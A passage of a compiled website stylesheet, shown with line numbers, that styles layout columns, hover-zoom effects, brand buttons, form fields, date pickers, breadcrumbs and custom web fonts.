1475  width: 60%;
1476}
1477
1478@media screen and (max-width: 767px) {
1479  .flex-cols .col-3-5 {
1480    width: 100%;
1481  }
1482}
1483
1484.flex-cols .col-4-5 {
1485  width: 80%;
1486}
1487
1488@media screen and (max-width: 767px) {
1489  .flex-cols .col-4-5 {
1490    width: 100%;
1491  }
1492}
1493
1494.flex-cols.has-gap {
1495  gap: 2em;
1496}
1497
1498.flex-cols.has-gap .col-1-2 {
1499  width: calc(50% - 1em);
1500}
1501
1502@media screen and (max-width: 767px) {
1503  .flex-cols.has-gap .col-1-2 {
1504    width: 100%;
1505  }
1506}
1507
1508.flex-centered {
1509  align-items: center;
1510  justify-content: center;
1511}
1512
1513/* hover zoom */
1514.hover-zoom {
1515  background-color: #000;
1516}
1517
1518.hover-zoom .cover-image,
1519.hover-zoom .object-fit {
1520  -webkit-transform: scale(1.1);
1521  -moz-transform: scale(1.1);
1522  -ms-transform: scale(1.1);
1523  transform: scale(1.1);
1524  -webkit-backface-visibility: hidden;
1525  -moz-backface-visibility: hidden;
1526  -ms-backface-visibility: hidden;
1527  -o-backface-visibility: hidden;
1528  backface-visibility: hidden;
1529  -webkit-transition: opacity 1s ease-in-out, -webkit-transform 1s;
1530  transition: opacity 1s ease-in-out, transform 1s;
1531  pointer-events: none;
1532}
1533
1534.hover-zoom.hover-zoom-small .cover-image,
1535.hover-zoom.hover-zoom-small .object-fit {
1536  -webkit-transform: scale(1.05);
1537  -moz-transform: scale(1.05);
1538  -ms-transform: scale(1.05);
1539  transform: scale(1.05);
1540  -webkit-transition: opacity 1.5s ease-in-out, -webkit-transform 1.5s;
1541  transition: opacity 1.5s ease-in-out, transform 1.5s;
1542}
1543
1544.hover-zoom.has-lazy img[data-src] {
1545  -webkit-transition: opacity 1s ease-in-out, transform 1s;
1546  -moz-transition: opacity 1s ease-in-out, transform 1s;
1547  -ms-transition: opacity 1s ease-in-out, transform 1s;
1548  transition: opacity 1s ease-in-out, transform 1s;
1549  opacity: 0;
1550}
1551
1552.hover-zoom.has-lazy img[data-src].img-loaded {
1553  opacity: 1;
1554}
1555
1556.hover-zoom.has-lazy img[data-src].img-loaded.fade {
1557  opacity: .1;
1558}
1559
1560.hover-zoom:hover .cover-image,
1561.hover-zoom:hover .object-fit {
1562  -webkit-transform: scale(1);
1563  -moz-transform: scale(1);
1564  -ms-transform: scale(1);
1565  transform: scale(1);
1566}
1567
1568.is-zoom {
1569  position: relative;
1570  overflow: hidden;
1571}
1572
1573.is-zoom::before, .is-zoom::after {
1574  content: '';
1575  pointer-events: none;
1576  position: absolute;
1577  opacity: 0;
1578  transition: opacity .75s ease-in-out;
1579}
1580
1581.is-zoom::before {
1582  top: 0;
1583  left: 0;
1584  z-index: 2;
1585  width: 100%;
1586  height: 100%;
1587  background-color: #000;
1588}
1589
1590.is-zoom::after {
1591  top: 50%;
1592  left: 50%;
1593  z-index: 2;
1594  color: #fff;
1595  width: 38px;
1596  height: 38px;
1597  background: url(/images/layout/icons/zoom.png) center no-repeat;
1598  background-size: contain;
1599  transform: translate(-50%, -50%);
1600}
1601
1602.is-zoom .object-fit {
1603  backface-visibility: hidden;
1604  transition: transform .75s;
1605}
1606
1607.is-zoom:hover::before {
1608  opacity: .6;
1609}
1610
1611.is-zoom:hover::after {
1612  opacity: 1;
1613}
1614
1615.is-zoom:hover .object-fit {
1616  transform: scale(1.1);
1617}
1618
1619/* google map embed */
1620.gmap {
1621  height: 500px;
1622  margin: 0 auto 20px;
1623  margin: 0 0 1.8em;
1624}
1625
1626.gmap iframe {
1627  border: none;
1628  width: 100%;
1629  height: 500px;
1630}
1631
1632/* list with items set to display inline block */
1633.inline-list {
1634  margin-left: 0;
1635  /* centered */
1636  /* add pipe delimiters */
1637}
1638
1639.inline-list.pad > li:not(:last-child) {
1640  margin-right: 4em;
1641  margin-bottom: 2em;
1642}
1643
1644.inline-list > li {
1645  display: inline-block;
1646}
1647
1648.inline-list.centered {
1649  text-align: center;
1650}
1651
1652.inline-list.pipes > li:before {
1653  content: '|';
1654  padding: 0 .75em;
1655}
1656
1657.inline-list.pipes > li:first-child:before {
1658  content: '';
1659  padding: 0;
1660}
1661
1662.video-wrapper {
1663  position: relative;
1664  padding-bottom: 56.25%;
1665  /* 16:9 */
1666  padding-top: 25px;
1667  height: 0;
1668}
1669
1670.video-wrapper iframe {
1671  position: absolute;
1672  top: 0;
1673  left: 0;
1674  width: 100%;
1675  height: 100%;
1676}
1677
1678.w-100 {
1679  width: 100%;
1680  height: auto;
1681}
1682
1683/*
1684.bg-vid {
1685	@include transform(translateX(-50%) translateY(-50%));	
1686	position: absolute;
1687	top: 50%;
1688	left: 50%;
1689	min-width: 100%;
1690	min-height: 100%;
1691	width: auto;
1692	height: auto;
1693	background-size: cover; 	
1694	z-index: 2;	
1695	opacity: 1;		
1696}
1697*/
1698/* add arrow */
1699/*
1700.arr { 
1701	&:after { 
1702		content: '\003e'; 
1703		padding-left: .5em;
1704		position: relative;
1705		top: -.05em;
1706	}
1707}
1708*/
1709/* Animate fade up - JS is located in base.js */
1710.fade-up {
1711  -webkit-transition: opacity 0.75s, transform 0.75s;
1712  -moz-transition: opacity 0.75s, transform 0.75s;
1713  -ms-transition: opacity 0.75s, transform 0.75s;
1714  transition: opacity 0.75s, transform 0.75s;
1715  -webkit-transform: translate3d(0, 20px, 0);
1716  -moz-transform: translate3d(0, 20px, 0);
1717  -ms-transform: translate3d(0, 20px, 0);
1718  transform: translate3d(0, 20px, 0);
1719  opacity: 0;
1720}
1721
1722.fade-up.active {
1723  -webkit-transform: translate3d(0, 0, 0);
1724  -moz-transform: translate3d(0, 0, 0);
1725  -ms-transform: translate3d(0, 0, 0);
1726  transform: translate3d(0, 0, 0);
1727  opacity: 1;
1728}
1729
1730/* Variables
1731**********************************/
1732/* all vars, no need for @if critical */
1733/* breakpoints */
1734/* Animation - see header.scss for usage examples */
1735/* Form placeholders */
1736/* Usage:
1737
1738	.foo {
1739	  @include placeholder {
1740		color: green;
1741	  }
1742	}
1743
1744	@include placeholder {
1745	  color: red;
1746	}
1747*/
1748/* Flexbox 
1749***************************************/
1750/* Card */
1751/* Filter */
1752/* Gridder */
1753/*************************************** 
1754	INLINE STYLES - Above the fold
1755****************************************/
1756/* This is used on the <button> element */
1757button {
1758  background: transparent;
1759  border: none;
1760  cursor: pointer;
1761  box-sizing: border-box;
1762  color: currentColor;
1763  padding: 0;
1764  font-family: "Nunito Sans", sans-serif;
1765  transition: background-color .35s, color .35s;
1766}
1767
1768/* Brand button */
1769.btn {
1770  -webkit-transition: background-color 0.35s, color 0.35s;
1771  -moz-transition: background-color 0.35s, color 0.35s;
1772  -ms-transition: background-color 0.35s, color 0.35s;
1773  transition: background-color 0.35s, color 0.35s;
1774  box-sizing: border-box;
1775  color: #ff671f;
1776  font-family: "Lora", serif;
1777  font-size: inherit;
1778  letter-spacing: .025em;
1779  text-align: center;
1780  display: inline-block;
1781  line-height: 1;
1782  text-transform: uppercase;
1783  position: relative;
1784  padding: 0 .5em;
1785}
1786
1787.btn:hover {
1788  color: #56534d;
1789}
1790
1791.btn-pill {
1792  display: inline-block;
1793  color: #fff !important;
1794  font-size: .75rem !important;
1795  border-radius: 2em;
1796  text-transform: uppercase;
1797  font-size: inherit;
1798  position: relative;
1799  letter-spacing: .1em;
1800}
1801
1802.btn-pill + .btn-pill {
1803  margin-left: 2.5em;
1804}
1805
1806@media screen and (max-width: 767px) {
1807  .btn-pill + .btn-pill {
1808    margin: .75em 0;
1809  }
1810}
1811
1812.btn-pill .button-bg {
1813  top: 0;
1814  left: 0;
1815  position: absolute;
1816  width: 100%;
1817  height: 100%;
1818  background: #ff671f;
1819  color: #fff;
1820  border-radius: 2em;
1821  overflow: hidden;
1822  transition: transform 0.4s cubic-bezier(0.1, 0, 0.3, 1);
1823}
1824
1825.btn-pill .button-bg::before, .btn-pill .button-bg::after {
1826  content: '';
1827  position: absolute;
1828  background: #161441;
1829}
1830
1831.btn-pill .button-bg::before {
1832  width: 110%;
1833  height: 0;
1834  padding-bottom: 110%;
1835  top: 50%;
1836  left: 50%;
1837  border-radius: 50%;
1838  transform: translate3d(-50%, -50%, 0) scale3d(0, 0, 1);
1839}
1840
1841.btn-pill .button-bg::after {
1842  top: 0;
1843  left: 0;
1844  width: 100%;
1845  height: 100%;
1846  opacity: 0;
1847  transition: opacity 0.3s;
1848}
1849
1850.btn-pill > span:not(.button-bg) {
1851  display: block;
1852  position: relative;
1853  padding: .55rem 1.85rem;
1854}
1855
1856.btn-pill:hover {
1857  color: #fff;
1858}
1859
1860.btn-pill:hover .button-bg {
1861  transform: scale3d(1.2, 1.2, 1);
1862}
1863
1864@media screen and (max-width: 767px) {
1865  .btn-pill:hover .button-bg {
1866    transform: scale3d(1.1, 1.1, 1);
1867  }
1868}
1869
1870.btn-pill:hover .button-bg::before {
1871  transition: transform 0.4s cubic-bezier(0.1, 0, 0.3, 1);
1872  transform: translate3d(-50%, -50%, 0) scale3d(1, 1, 1);
1873}
1874
1875.btn-pill:hover .button-bg::after {
1876  opacity: 1;
1877  transition-duration: 0.01s;
1878  transition-delay: 0.3s;
1879}
1880
1881.btn-pill.btn-ghost {
1882  color: #ff671f !important;
1883  border: 1px solid;
1884}
1885
1886.btn-pill.btn-ghost .button-bg {
1887  background-color: transparent;
1888}
1889
1890.btn-pill.btn-ghost:hover {
1891  color: #fff;
1892}
1893
1894/* Brand button modifiers */
1895.btn-inverted {
1896  background-color: #5B3427;
1897}
1898
1899.btn-inverted:hover {
1900  background-color: #ff671f;
1901}
1902
1903.btn-full {
1904  display: block;
1905}
1906
1907/*
1908.btn-light {
1909	background-color: #fff;
1910	color: #71605c;
1911}
1912
1913.btn-gray {
1914	background-color: #667586;
1915}
1916
1917.btn-black {
1918	background-color: #000;
1919}
1920
1921.btn-bordered {
1922	@include transition(color .35s, border-color .35s, background-color .35s);	
1923	background-color: transparent;	
1924	border: 2px solid;
1925	font-size: 12px;
1926	font-weight: 700;
1927	letter-spacing: .2em;	
1928	text-transform: uppercase;
1929	
1930	&:hover {
1931		background-color: $brand-color;
1932		color: #fff;
1933		border-color: $brand-color;		
1934	}	
1935}*/
1936/*************************************** 
1937	DEFERRED STYLES
1938****************************************/
1939/* Variables
1940**********************************/
1941/* all vars, no need for @if critical */
1942/* breakpoints */
1943/* Animation - see header.scss for usage examples */
1944/* Form placeholders */
1945/* Usage:
1946
1947	.foo {
1948	  @include placeholder {
1949		color: green;
1950	  }
1951	}
1952
1953	@include placeholder {
1954	  color: red;
1955	}
1956*/
1957/* Flexbox 
1958***************************************/
1959/* Card */
1960/* Filter */
1961/* Gridder */
1962/* general form */
1963@media screen and (max-width: 767px) {
1964  form {
1965    font-size: 16px;
1966  }
1967}
1968
1969@media screen and (-webkit-min-device-pixel-ratio: 0) {
1970  select,
1971textarea,
1972input {
1973    font-size: 16px;
1974  }
1975}
1976
1977.label,
1978label {
1979  display: block;
1980  line-height: 1.1em;
1981  margin-bottom: 6px;
1982}
1983
1984input[type="text"],
1985input[type="email"],
1986select,
1987textarea {
1988  box-sizing: border-box;
1989  background-color: #fff;
1990  font-family: "Nunito Sans", sans-serif;
1991  font-size: inherit;
1992  width: 100%;
1993  border: 1px solid #ccc;
1994  border-radius: 0;
1995  outline: none;
1996}
1997
1998input[type="text"],
1999input[type="email"],
2000textarea {
2001  padding: 4px 8px;
2002}
2003
2004select {
2005  padding: 3px 4px;
2006}
2007
2008select:focus {
2009  outline: 1.5px solid black;
2010}
2011
2012button[type="submit"]:not(.btn-pill),
2013input[type="submit"] {
2014  -webkit-transition: background-color 0.35s;
2015  -moz-transition: background-color 0.35s;
2016  -ms-transition: background-color 0.35s;
2017  transition: background-color 0.35s;
2018  -webkit-appearance: none;
2019  border: none;
2020  border-radius: 0;
2021  box-sizing: border-box;
2022  cursor: pointer;
2023  letter-spacing: .2em;
2024  background-color: #ff671f;
2025  color: #fff;
2026  text-transform: uppercase;
2027  font-family: "Nunito Sans", sans-serif;
2028  padding: .6em 2em .6em 2.2em;
2029}
2030
2031button[type="submit"]:not(.btn-pill):hover,
2032input[type="submit"]:hover {
2033  background-color: #999;
2034}
2035
2036::-webkit-input-placeholder {
2037  color: #acacac;
2038  opacity: 1;
2039}
2040
2041:-moz-placeholder {
2042  color: #acacac;
2043  opacity: 1;
2044}
2045
2046::-moz-placeholder {
2047  color: #acacac;
2048  opacity: 1;
2049}
2050
2051:-ms-input-placeholder {
2052  color: #acacac;
2053  opacity: 1;
2054}
2055
2056.tick-list {
2057  list-style-type: none;
2058  margin: 6px 0 0;
2059}
2060
2061.tick-list > li {
2062  display: inline-block;
2063  vertical-align: top;
2064  margin: 0 7px 0 0;
2065}
2066
2067.tick-list > li label {
2068  white-space: nowrap;
2069}
2070
2071@media screen and (max-width: 480px) {
2072  .tick-list > li {
2073    display: block;
2074  }
2075}
2076
2077.tick-list.stack > li {
2078  display: block;
2079}
2080
2081.tick-list label {
2082  display: inline;
2083}
2084
2085.required {
2086  color: #c80303;
2087}
2088
2089/* Site specific common styles */
2090.fs-tick {
2091  margin-bottom: 1.5em;
2092}
2093
2094.fs-tick legend {
2095  box-sizing: border-box;
2096  display: block;
2097  width: 100%;
2098  letter-spacing: .05em;
2099  line-height: 1.25em;
2100}
2101
2102.fs-pairs {
2103  display: flex;
2104  justify-content: space-between;
2105  flex-wrap: wrap;
2106}
2107
2108.fs-pairs > div {
2109  box-sizing: border-box;
2110  margin-bottom: 20px;
2111  position: relative;
2112}
2113
2114.fs-pairs > div:not(.spread) {
2115  width: calc(50% - .75em);
2116}
2117
2118@media screen and (max-width: 767px) {
2119  .fs-pairs > div:not(.spread) {
2120    width: 100%;
2121  }
2122}
2123
2124.fs-pairs .spread {
2125  width: 100%;
2126}
2127
2128@media screen and (max-width: 767px) {
2129  .fs-pairs {
2130    margin: 0;
2131  }
2132}
2133
2134/*
2135.fs-thirds {
2136	//overflow: hidden;
2137	
2138	.field {
2139		//width: 33.3333333333%; 
2140		width: calc(33.3333333333% - 20px);
2141		float: left; 		
2142		box-sizing: border-box;	
2143		margin-bottom: 20px;
2144		position: relative;
2145		
2146		&:nth-child(1){ margin-right: 15px; }
2147		&:nth-child(2){ margin-right: 15px; margin-left: 15px; }
2148		&:nth-child(3){ margin-left: 15px; }
2149		
2150		@media screen and (max-width: 767px){
2151			width: auto;
2152			float: none;
2153			
2154			&:nth-child(1){ margin-right: 0; }
2155			&:nth-child(2){ margin-right: 0; margin-left: 0; }
2156			&:nth-child(3){ margin-left: 0; }
2157		}		
2158		
2159	}
2160			
2161}
2162*/
2163/*
2164.fs-fourths {
2165	.field {		
2166		width: calc(25% - 23px);
2167		float: left;
2168		box-sizing: border-box;	
2169		margin-bottom: 20px;
2170		position: relative;
2171		
2172		&:nth-child(1){ margin-right: 15px; }
2173		&:nth-child(2),
2174		&:nth-child(3){ margin-right: 15px; margin-left: 15px; }
2175		&:nth-child(4){ margin-left: 15px; }
2176		
2177		@media screen and (max-width: 767px){
2178			width: auto;
2179			float: none;
2180			
2181			&:nth-child(1){ margin-right: 0; }
2182			&:nth-child(2),
2183			&:nth-child(3){ margin-right: 0; margin-left: 0; }
2184			&:nth-child(4){ margin-left: 0; }
2185		}		
2186		
2187	}
2188}
2189*/
2190/* Custom select 
2191  - class applies to select element itself, not a wrapper element 
2192  - source: https://css-tricks.com/styling-a-select-like-its-2019/ */
2193.select-css {
2194  display: block;
2195  font-size: 16px;
2196  font-family: sans-serif;
2197  /*font-weight: 700;*/
2198  color: #444;
2199  line-height: 1.3;
2200  padding: .6em 1.4em .5em .8em;
2201  width: 100%;
2202  max-width: 100%;
2203  /* useful when width is set to anything other than 100% */
2204  box-sizing: border-box;
2205  margin: 0;
2206  border: 1px solid #9f9f9f;
2207  /*box-shadow: 0 1px 0 1px rgba(0,0,0,.04);
2208    border-radius: .5em;*/
2209  -moz-appearance: none;
2210  -webkit-appearance: none;
2211  appearance: none;
2212  background-color: #fff;
2213  /* note: bg image below uses 2 urls. The first is an svg data uri for the arrow icon, and the second is the gradient. 
2214        for the icon, if you want to change the color, be sure to use `%23` instead of `#`, since it's a url. You can also swap in a different svg icon or an external image reference
2215        
2216    */
2217  background-image: url("data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%22292.4%22%20height%3D%22292.4%22%3E%3Cpath%20fill%3D%22%23007CB2%22%20d%3D%22M287%2069.4a17.6%2017.6%200%200%200-13-5.4H18.4c-5%200-9.3%201.8-12.9%205.4A17.6%2017.6%200%200%200%200%2082.2c0%205%201.8%209.3%205.4%2012.9l128%20127.9c3.6%203.6%207.8%205.4%2012.8%205.4s9.2-1.8%2012.8-5.4L287%2095c3.5-3.5%205.4-7.8%205.4-12.8%200-5-1.9-9.2-5.5-12.8z%22%2F%3E%3C%2Fsvg%3E"), linear-gradient(to bottom, #ffffff 0%, #e5e5e5 100%);
2218  background-repeat: no-repeat, repeat;
2219  /* arrow icon position (1em from the right, 50% vertical) , then gradient position*/
2220  background-position: right .7em top 50%, 0 0;
2221  /* icon size, then gradient */
2222  background-size: .65em auto, 100%;
2223}
2224
2225/* Hide arrow icon in IE browsers */
2226.select-css::-ms-expand {
2227  display: none;
2228}
2229
2230/* Hover style */
2231.select-css:hover {
2232  border-color: #888;
2233}
2234
2235/* Focus style */
2236.select-css:focus {
2237  border-color: #aaa;
2238  /* It'd be nice to use -webkit-focus-ring-color here but it doesn't work on box-shadow */
2239  box-shadow: 0 0 1px 3px rgba(59, 153, 252, 0.7);
2240  box-shadow: 0 0 0 3px -moz-mac-focusring;
2241  color: #222;
2242}
2243
2244/* Set options to normal weight */
2245.select-css option {
2246  font-weight: normal;
2247}
2248
2249/* Support for rtl text, explicit support for Arabic and Hebrew */
2250*[dir="rtl"] .select-css, :root:lang(ar) .select-css, :root:lang(iw) .select-css {
2251  background-position: left .7em top 50%, 0 0;
2252  padding: .6em .8em .5em 1.4em;
2253}
2254
2255/* Disabled styles */
2256.select-css:disabled, .select-css[aria-disabled=true] {
2257  color: graytext;
2258  background-image: url("data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%22292.4%22%20height%3D%22292.4%22%3E%3Cpath%20fill%3D%22graytext%22%20d%3D%22M287%2069.4a17.6%2017.6%200%200%200-13-5.4H18.4c-5%200-9.3%201.8-12.9%205.4A17.6%2017.6%200%200%200%200%2082.2c0%205%201.8%209.3%205.4%2012.9l128%20127.9c3.6%203.6%207.8%205.4%2012.8%205.4s9.2-1.8%2012.8-5.4L287%2095c3.5-3.5%205.4-7.8%205.4-12.8%200-5-1.9-9.2-5.5-12.8z%22%2F%3E%3C%2Fsvg%3E"), linear-gradient(to bottom, #ffffff 0%, #e5e5e5 100%);
2259}
2260
2261.select-css:disabled:hover, .select-css[aria-disabled=true] {
2262  border-color: #aaa;
2263}
2264
2265/*
2266.has-float-label {
2267	box-sizing: border-box;
2268	position: relative;
2269	border-bottom: 1px solid #999;
2270	
2271	label {		
2272		@include transition(all .2s);
2273		position: absolute;
2274		top: .7em;
2275		left: 0;
2276		z-index: 2;
2277		cursor: text;	
2278		color: #000;
2279		font-size: 13px;
2280		letter-spacing: .05em;
2281		//background-color: #fff;
2282		//padding: 0 .6em;
2283		pointer-events: none;
2284	}
2285	
2286	select {
2287		@include appearance(none);	
2288		opacity: 0; // prevent select from showing behind label
2289	}
2290			
2291	
2292	input,
2293	select { 
2294		border: none; 
2295		//padding: 8px;
2296		padding: 8px 8px 8px 0;
2297		height: 36px;
2298		background-color: transparent;
2299	}		
2300	
2301	// active state 
2302	input:focus ~ label,
2303	.has-value ~ label,
2304	select:focus ~ label {		
2305		top: -.6em;
2306		font-size: 11px;				
2307	}
2308	
2309    textarea:focus ~ label {
2310        top: -1.2em;
2311		font-size: 11px;
2312    }
2313
2314	// show select
2315	select:focus,
2316	select.has-value { opacity: 1; }
2317	
2318}
2319*/
2320.has-select {
2321  position: relative;
2322}
2323
2324.has-select::after {
2325  content: '\e809';
2326  font-family: 'fontello';
2327  font-size: 1.2rem;
2328  color: currentColor;
2329  pointer-events: none;
2330  position: absolute;
2331  right: .5em;
2332  bottom: .35em;
2333}
2334
2335body span.ui-button-icon.ui-icon.ui-icon-closethick:before {
2336  content: 'x';
2337  display: block;
2338}
2339
2340body .ui-datepicker {
2341  font-family: "Nunito Sans", sans-serif;
2342  padding: 1em 1.25em;
2343  color: #666666;
2344  width: auto;
2345}
2346
2347body .ui-datepicker table {
2348  font-size: 12px;
2349}
2350
2351body .ui-datepicker th {
2352  font-weight: 400;
2353  padding: .3em;
2354}
2355
2356body .ui-datepicker .ui-datepicker-header {
2357  background: none;
2358  color: currentColor;
2359  border: none;
2360  font-weight: 700;
2361  font-size: 18px;
2362  text-transform: uppercase;
2363  padding-bottom: .25em;
2364}
2365
2366body .ui-datepicker .ui-datepicker-header a {
2367  color: currentColor;
2368}
2369
2370body .ui-datepicker .ui-datepicker-title {
2371  letter-spacing: normal;
2372}
2373
2374body .ui-state-hover,
2375body .ui-datepicker .ui-state-hover,
2376body .ui-datepicker-header .ui-state-hover,
2377body .ui-state-focus,
2378body .ui-datepicker .ui-state-focus,
2379body .ui-datepicker-header .ui-state-focus {
2380  background-color: transparent;
2381}
2382
2383body .ui-state-default,
2384body .ui-datepicker .ui-state-default,
2385body .ui-datepicker-header .ui-state-default {
2386  border: none;
2387  background-color: transparent;
2388  letter-spacing: .05em;
2389}
2390
2391body .ui-datepicker .ui-datepicker-header .ui-icon {
2392  background: none;
2393}
2394
2395body .ui-icon-circle-triangle-w:before {
2396  -webkit-transform: translate(-50%, -50%);
2397  -moz-transform: translate(-50%, -50%);
2398  -ms-transform: translate(-50%, -50%);
2399  transform: translate(-50%, -50%);
2400  content: '';
2401  pointer-events: none;
2402  position: absolute;
2403  top: 50%;
2404  left: 50%;
2405  width: 0;
2406  height: 0;
2407  border-top: 6px solid transparent;
2408  border-bottom: 6px solid transparent;
2409  border-right: 9px solid;
2410}
2411
2412body .ui-icon-circle-triangle-e:before {
2413  -webkit-transform: translate(-50%, -50%);
2414  -moz-transform: translate(-50%, -50%);
2415  -ms-transform: translate(-50%, -50%);
2416  transform: translate(-50%, -50%);
2417  content: '';
2418  pointer-events: none;
2419  position: absolute;
2420  top: 50%;
2421  left: 50%;
2422  width: 0;
2423  height: 0;
2424  border-top: 6px solid transparent;
2425  border-bottom: 6px solid transparent;
2426  border-left: 9px solid;
2427}
2428
2429body .ui-state-active,
2430body .ui-datepicker .ui-state-custom-highlight .ui-state-default,
2431body .ui-datepicker .ui-state-active,
2432body .ui-datepicker-header .ui-state-active {
2433  font-weight: 700;
2434  background-color: #ff671f;
2435  color: #fff;
2436}
2437
2438body .ui-state-highlight,
2439body .ui-datepicker .ui-state-highlight,
2440body .ui-datepicker-header .ui-state-highlight {
2441  background-color: #ccc;
2442  color: #000;
2443  font-weight: 700;
2444}
2445
2446body .ui-datepicker td {
2447  padding: 0;
2448  border: 1px solid #ccc;
2449}
2450
2451body .ui-datepicker td span,
2452body .ui-datepicker td a {
2453  text-align: center;
2454  padding: .75em;
2455}
2456
2457:root {
2458  --litepicker-button-prev-month-color: #333;
2459  --litepicker-button-next-month-color: #333;
2460  --litepicker-highlighted-day-color: #fff;
2461  --litepicker-highlighted-day-color-bg: #802755;
2462}
2463
2464.litepicker {
2465  font-size: .9rem;
2466  border: 1px solid #c5c5c5;
2467}
2468
2469.litepicker .button-previous-month,
2470.litepicker .button-next-month {
2471  position: relative;
2472  cursor: pointer !important;
2473}
2474
2475.litepicker .button-previous-month svg,
2476.litepicker .button-next-month svg {
2477  visibility: hidden;
2478}
2479
2480.litepicker .button-previous-month::before,
2481.litepicker .button-next-month::before {
2482  content: '';
2483  pointer-events: none;
2484  font-family: 'fontello';
2485  font-size: 1rem;
2486  color: currentColor;
2487  position: absolute;
2488  top: 8%;
2489  left: 50%;
2490  transform: translateX(-50%);
2491}
2492
2493.litepicker .button-previous-month:focus,
2494.litepicker .button-next-month:focus {
2495  outline: 1px solid blue;
2496}
2497
2498.litepicker .button-previous-month::before {
2499  content: '\e81a';
2500}
2501
2502.litepicker .button-next-month::before {
2503  content: '\e81b';
2504}
2505
2506.litepicker .container__months {
2507  box-shadow: none;
2508}
2509
2510.litepicker .container__months .month-item-header div > .month-item-name {
2511  font-family: "Lora", serif;
2512  font-weight: 300;
2513  color: #ff671f;
2514  font-size: 1.15rem;
2515  text-transform: uppercase;
2516}
2517
2518.litepicker .container__days > div,
2519.litepicker .container__days > a {
2520  padding: .75rem 0;
2521}
2522
2523.litepicker .container__days .day-item {
2524  border-radius: 0;
2525}
2526
2527.litepicker .container__days .day-item.is-start-date, .litepicker .container__days .day-item.is-end-date.is-flipped {
2528  border-top-left-radius: 0;
2529  border-bottom-left-radius: 0;
2530}
2531
2532.litepicker .container__days .day-item.is-end-date {
2533  border-top-right-radius: 2rem;
2534  border-bottom-right-radius: 2rem;
2535}
2536
2537.litepicker .container__days .day-item.is-start-date.is-end-date {
2538  border-radius: 0;
2539}
2540
2541.litepicker .container__days .day-item.is-start-date, .litepicker .container__days .day-item.is-end-date {
2542  background-color: #ff671f;
2543  color: #fff;
2544}
2545
2546.litepicker .container__days .day-item.is-in-range:focus-visible {
2547  outline-offset: -.15rem;
2548}
2549
2550.litepicker .container__days .day-item.is-today:not(.is-start-date) {
2551  background-color: #eee;
2552  color: #56534d;
2553}
2554
2555.litepicker .container__days .day-item[role="button"] {
2556  cursor: pointer;
2557}
2558
2559.is-admin input[type="text"],
2560.is-admin input[type="email"],
2561.is-admin select,
2562.is-admin textarea,
2563.edit-mode input[type="text"],
2564.edit-mode input[type="email"],
2565.edit-mode select,
2566.edit-mode textarea {
2567  font-family: Arial, Helvetica, sans-serif;
2568}
2569
2570/* Variables
2571**********************************/
2572/* all vars, no need for @if critical */
2573/* breakpoints */
2574/* Animation - see header.scss for usage examples */
2575/* Form placeholders */
2576/* Usage:
2577
2578	.foo {
2579	  @include placeholder {
2580		color: green;
2581	  }
2582	}
2583
2584	@include placeholder {
2585	  color: red;
2586	}
2587*/
2588/* Flexbox 
2589***************************************/
2590/* Card */
2591/* Filter */
2592/* Gridder */
2593.breadcrumb {
2594  font-size: 12px;
2595  margin: 0 1.5em 3em;
2596  text-align: right;
2597  color: #ff671f;
2598}
2599
2600.breadcrumb a {
2601  -webkit-transition: opacity 0.35s;
2602  -moz-transition: opacity 0.35s;
2603  -ms-transition: opacity 0.35s;
2604  transition: opacity 0.35s;
2605  color: #56534d;
2606  opacity: .5;
2607}
2608
2609.breadcrumb a:hover {
2610  opacity: 1;
2611}
2612
2613.breadcrumb li:not(:first-child) {
2614  margin-left: 2em;
2615}
2616
2617.breadcrumb li:last-child a {
2618  color: currentColor;
2619  cursor: default;
2620  pointer-events: none;
2621  opacity: 1;
2622}
2623
2624.breadcrumb li:last-child a br {
2625  display: none;
2626}
2627
2628#hero + .breadcrumb {
2629  margin-top: -1.5em;
2630}
2631
2632@media screen and (max-width: 767px) {
2633  .breadcrumb {
2634    display: none;
2635  }
2636}
2637
2638/* Variables
2639**********************************/
2640/* all vars, no need for @if critical */
2641/* breakpoints */
2642/* Animation - see header.scss for usage examples */
2643/* Form placeholders */
2644/* Usage:
2645
2646	.foo {
2647	  @include placeholder {
2648		color: green;
2649	  }
2650	}
2651
2652	@include placeholder {
2653	  color: red;
2654	}
2655*/
2656/* Flexbox 
2657***************************************/
2658/* Card */
2659/* Filter */
2660/* Gridder */
2661@font-face {
2662  font-family: 'Kristabelle';
2663  src: url("/css/fonts/kristabelle-webfont.woff2") format("woff2"), url("/css/fonts/kristabelle-webfont.woff") format("woff");
2664  font-weight: 400;
2665  font-style: normal;
2666  font-display: swap;
2667}
2668
2669@font-face {
2670  font-family: "Medio";
2671  src: url("/css/fonts/29b07fca8ca805f44453a5b4ec90ac97.eot");
2672  src: url("/css/fonts/29b07fca8ca805f44453a5b4ec90ac97.eot?#iefix") format("embedded-opentype"), url("/css/fonts/29b07fca8ca805f44453a5b4ec90ac97.woff") format("woff"), url("/css/fonts/29b07fca8ca805f44453a5b4ec90ac97.woff2") format("woff2"), url("/css/fonts/29b07fca8ca805f44453a5b4ec90ac97.ttf") format("truetype"), url("/css/fonts/29b07fca8ca805f44453a5b4ec90ac97.svg#Medio") format("svg");
2673  font-weight: normal;
2674  font-style: normal;
2675  font-display: swap;
2676}
2677
2678@font-face {
2679  font-family: 'Stay Classy Duo Script';
2680  src: url("/css/fonts/StayClassyDuoScript.eot");
2681  src: url("/css/fonts/StayClassyDuoScript.eot?#iefix") format("embedded-opentype"), url("/css/fonts/StayClassyDuoScript.woff2") format("woff2"), url("/css/fonts/StayClassyDuoScript.woff") format("woff"), url("/css/fonts/StayClassyDuoScript.ttf") format("truetype"), url("/css/fonts/StayClassyDuoScript.svg#StayClassyDuoScript") format("svg");
2682  font-weight: normal;
2683  font-style: normal;
2684  font-display: swap;
2685}
2686
2687@font-face {
2688  font-family: 'kepler';
2689  src: url("/css/fonts/kepler_std_light_display.woff2") format("woff2"), url("/css/fonts/kepler_std_light_display.woff") format("woff");
2690  font-weight: normal;
2691  font-style: normal;
2692}
2693
2694/* Variables
2695**********************************/
2696/* all vars, no need for @if critical */
2697/* breakpoints */
2698/* Animation - see header.scss for usage examples */
2699/* Form placeholders */
2700/* Usage:
2701
2702	.foo {
2703	  @include placeholder {
2704		color: green;
2705	  }
2706	}
2707
2708	@include placeholder {
2709	  color: red;
2710	}
2711*/
2712/* Flexbox 
2713***************************************/
2714/* Card */
2715/* Filter */
2716/* Gridder */
